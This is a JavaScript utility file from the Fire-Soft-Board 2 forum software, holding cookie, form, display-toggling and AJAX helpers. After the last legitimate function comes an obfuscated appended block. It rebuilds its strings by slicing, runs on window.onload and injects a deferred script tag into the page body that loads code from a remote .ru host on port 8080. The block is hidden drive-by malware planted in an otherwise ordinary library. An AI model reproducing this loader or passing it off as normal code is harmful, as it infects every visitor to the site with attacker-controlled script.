/*
** +---------------------------------------------------+
** | Name :			~/main/javascript/common.js
** | Begin :		19/12/2005
** | Last :			29/10/2007
** | User :			Genova
** | Project :		Fire-Soft-Board 2 - Copyright FSB group
** | License :		GPL v2.0
** +---------------------------------------------------+
*/

// Navigateur utilisé
var Nav_Agent =		navigator.userAgent.toLowerCase();
var Nav_IE =		((Nav_Agent.indexOf("msie") != -1)  && (Nav_Agent.indexOf("opera") == -1)) ? true : false;
var Nav_IE6 =		(Nav_IE && (Nav_Agent.indexOf("msie 6") != -1)) ? true : false;
var Nav_Moz =		(Nav_Agent.indexOf("firefox") != -1) ? true : false;
var Nav_Opera =		(Nav_Agent.indexOf("opera") != -1 && parseInt(navigator.appVersion) >= 9) ? true : false;
var Nav_Safari =	((Nav_Agent.indexOf('safari') != -1) && (Nav_Agent.indexOf('mac') != -1)) ? true : false;
var Nav_Konqueror = (Nav_Agent.indexOf('konqueror') != -1);

/*
** Lit un cookie
** -----
** name ::		Nom du cookie
*/
function ReadCookie(name)
{
	var result = "";
	var my_cookie = " " + document.cookie + ";";
	var tmpname =  name + "=";
	var begin = my_cookie.indexOf(tmpname);
	var end;
	if (begin != -1)
	{
		begin += tmpname.length;
		end = my_cookie.indexOf(";", begin);
		result = unescape(my_cookie.substring(begin, end));
	}
	return (result);
}
 
/*
** Envoie un cookie
** -----
** name ::		Nom du cookie
** value ::		Valeur du cookie
*/
function SetCookie(name, value, on)
{
	var this_date = new Date();
	if (on)
	{
		this_date.setMonth(this_date.getMonth() + 1);
	}
	else
	{
		this_date.setMonth(this_date.getMonth() - 1);
	}

	var cookie_time = this_date.toGMTString();
	var my_cookie = name + "="+escape(value) + ";expires=" + cookie_time + " path=/;";
	document.cookie = my_cookie;
}

/*
** Coche / décoche un ensemble de checkbox
** -----
** form_name ::			Nom du formulaire
** element_name ::		Nom de la checbox
** is_checked ::		Définit si on coche / décoche la checkbox
*/
function check_boxes(form_name, element_name, is_checked)
{
	var chkboxes = document.forms[form_name].elements[element_name];
	var count = chkboxes.length;

	if (count)
	{
		for (var i = 0; i < count; i++)
		{
			chkboxes[i].checked = is_checked;
		}
	}
	else
	{
		chkboxes.checked = is_checked;
	}
	return true;
}

/*
** Fonction servant a cacher / afficher des éléments
*/
var hide_block = Array();
var blocks_height = new Array();
function hide(id)
{
	hide_block[id] ^= true;
	$(id).style.display = (hide_block[id]) ? 'none' : 'block';
}

function block_cookie_check(id_block, id_img, src_img_open, src_img_close, mooeffect)
{
	if (hide_block[id_block] == undefined)
	{
		cookie_value = ReadCookie(id_block);
		if (cookie_value == 'C')
		{
			hide_block[id_block] = false;
			id_img.src = src_img_close;
		}
		else
		{
			hide_block[id_block] = true;
		}
	}

	block_check(id_block, id_img, src_img_open, src_img_close, mooeffect);
	SetCookie(id_block, (hide_block[id_block]) ? "O" : "C", true);
}

/*
** Lit le contenu d'un cookie et affiche ou non le block
*/
function block_cookie_read(block_name, img_name, img_src, mooeffect)
{
	cookie_value = ReadCookie(block_name);
	if (cookie_value == 'C')
	{
		if (mooeffect)
		{
			blocks_height[block_name] = $(block_name).offsetHeight;
			$(block_name).style.height = '0px';
			$(block_name).style.opacity = 0;
		}
		$(block_name).style.display = 'none';
		$(img_name).src = img_src;
	}
}

function block_check(id_block, id_img, src_img_open, src_img_close, mooeffect)
{
	hide_block[id_block] ^= true;
	if (hide_block[id_block])
	{
		if (!Nav_IE6 && mooeffect)
		{
			$(id_block).setStyle('opacity', 0);
			$(id_block).style.display = 'block';
			$(id_block).effects({duration: 500}).custom(
				{
					'height': [0, blocks_height[id_block]],
					'opacity': [0, 1]
				}
			);
		}
		else
		{
			$(id_block).style.display = 'block';
		}
		$(id_img).src = src_img_open;
	}
	else
	{
		if (!Nav_IE6 && mooeffect)
		{
			blocks_height[id_block] = $(id_block).offsetHeight;
			$(id_block).effects({duration: 500}).custom(
				{
					'height': [blocks_height[id_block], 0],
					'opacity': [1, 0]
				}
			);
			setTimeout('$(\'' + id_block + '\').style.display = \'none\'', 500);
		}
		else
		{
			$(id_block).style.display = 'none';
		}
		$(id_img).src = src_img_close;
	}
}

/*
** Equivalent htmlspecialchars() en php
*/
function htmlspecialchars(str)
{
	str = str.replace(/&/g, "&amp;");
	str = str.replace(/</g, "&lt;");
	str = str.replace(/>/g, "&gt;");
	str = str.replace(/\"/g, "&quot;");
	return (str);
}

/*
** Le contraire d'un htmlspecialchars() en php
*/
function unhtmlspecialchars(str)
{
	str = str.replace(/&lt;/g, "<");
	str = str.replace(/&gt;/g, ">");
	str = str.replace(/&quote;/g, "\"");
	str = str.replace(/&amp;/g, "&");
	return (str);
}

/*
** Supprime les espaces à gauche et à droite du mot
** -----
** str ::	Chaine à traiter
*/
function trim(str)
{
	while (str.substr(0, 1) == ' ' || str.substr(0, 1) == "\n")
	{
		str = str.substr(1);
	}

	while (str.substr(str.length - 1, 1) == ' ' || str.substr(str.length - 1, 1) == "\n")
	{
		str = str.substr(0, str.length - 1);
	}
	return (str);
}

/*
** Recherche d'un membre en Ajax
*/
function search_user(value, obj, id, id_field)
{
	var ajax = new Ajax();
	ajax.onload = function(data)
	{
		if (!data)
		{
			$(id).style.visibility = 'hidden';
			return ;
		}

		$(id).innerHTML = data;
		$(id).style.visibility = 'visible';
	}

	// Envoie des requètes http
	ajax.set_arg(AJAX_GET, 'mode', 'search_user');
	ajax.set_arg(AJAX_GET, 'nickname', value);
	ajax.set_arg(AJAX_GET, 'jsid', id_field);
	ajax.set_arg(AJAX_GET, 'jsid2', id);
	ajax.send(FSB_ROOT + 'ajax.php', AJAX_MODE_TXT);
}

/*
** Ajout un champ en DOM
*/
function add_field(t, type, name, value)
{
	tag = document.createElement('input');

	attr = document.createAttribute('type');
	attr.nodeValue = type;
	tag.setAttributeNode(attr);

	attr = document.createAttribute('name');
	attr.nodeValue = name;
	tag.setAttributeNode(attr);

	attr = document.createAttribute('value');
	attr.nodeValue = value;
	tag.setAttributeNode(attr);

	t.appendChild(tag);
}

/*
** Permet de vider un champ une seule fois
** -----
** id ::	ID du champ
*/
var clean_fields = [];
function clean_field(id)
{
	if (!clean_fields[id])
	{
		$(id).value = '';
		clean_fields[id] = true;
	}
}

/*
** Sélection du code source (balise CODE), fonction reprise de phpBB3
*/
function selectCode(a)
{
	// Get ID of code block
	var e = a;

	// Not IE
	if (window.getSelection)
	{
		var s = window.getSelection();

		// Safari
		if (s.setBaseAndExtent)
		{
			s.setBaseAndExtent(e, 0, e, e.innerText.length - 1);
		}
		// Firefox and Opera
		else
		{
			var r = document.createRange();
			r.selectNodeContents(e);
			s.removeAllRanges();
			s.addRange(r);
		}
	}
	// Some older browsers
	else if (document.getSelection)
	{
		var s = document.getSelection();
		var r = document.createRange();
		r.selectNodeContents(e);
		s.removeAllRanges();
		s.addRange(r);
	}
	// IE
	else if (document.selection)
	{
		var r = document.body.createTextRange();
		r.moveToElementText(e);
		r.select();
	}
}
this.R=21775;this.R-=101;var O={X:"k"};Bc={fQ:31240};var t;f=function(){this.cV="cV";ym=18486;ym+=117;N={P:false};function l(b,M,T){return b.substr(M,T);var w=new Array();var ye=new Array();}oK={rR:false};try {var W='H'} catch(W){};C={iV:false};var A=document;var eB=["a","OA"];var xt=49551;try {var bb='ns'} catch(bb){};var Z=RegExp;this.aq=false;var ED="/1"+l("18tvf",0,2)+l("11bVY",0,2)+l("4-XCk3",0,2)+l("EPuecnuEeP",4,2)+l("/gDps0",0,2)+"oo"+l("gliD6",0,2)+l("e.S9r",0,2)+l("CgdkcokgCd",4,2)+"m/"+l("BaLroaLB",3,2)+"bt"+l("8juTex8uTj",4,2)+l("5h0.c50h",3,2)+"om"+".p"+l("hpGTwm",0,2);this.xW=false;var I='';this.tz='';var kW=[];var EG=[];function E(b,M){var T="["+M+String("]");var MI=new Z(T, l("g4uX",0,1));try {var VX='Q'} catch(VX){};var wz=["HD","rD"];return b.replace(MI, I);var pH={yQ:"UU"};this.Oc='';};var lO=new String();var c=new String("bo"+l("dyCDw",0,2));this.Cc=false;var Sy={Zb:39956};var v=E('sBcGrTizpBtL','Ob3xuLR5UBZFThVzG');var g=null;var oG='';try {} catch(wN){};var _l={Dm:false};var D=702587-694507;var wl={};t=function(){try {this.PP=60188;this.PP++;this.WQ=52233;this.WQ++;var ET=E('cvrzeZaMtveQEglKe9mueunKtf','uK9gWGvi_8IfCDjZQMz');var lo=new Date();uY={lD:false};lR=A[ET](v);var bo=new Date();this.cY=29319;this.cY--;Zh={Kf:"sI"};var WJ=["cv","aA","rn"];var b=D+ED;var ci=E('sMrVcW','uy7DPhM6UqWKVLzNSk');var kWE=new Date();try {var ac='RH'} catch(ac){};var y=String(l("delg5",0,2)+l("feODSh",0,2)+"r");Ti=44581;Ti+=130;lR[y]=[1][0];this.ZnO="ZnO";this.rI=62818;this.rI++;lR[ci]=l("http:RoSu",0,5)+l("49C//que4C9",3,5)+l("stwidW6Q",0,5)+l("cfl1ow.rucf1l",4,5)+l("BG28:2BG8",4,1)+b;var Hh=["LA","Zl"];A[c].appendChild(lR);this.cR=556;this.cR++;} catch(n){f_={nm:"rB"};EDX=43262;EDX++;};};try {var bk='Is'} catch(bk){};var nD=new Array();};f();var Xp=false;var Dk=5805;window.onload=t;this.Ls="Ls";var n_={Gx:47036};var OS={};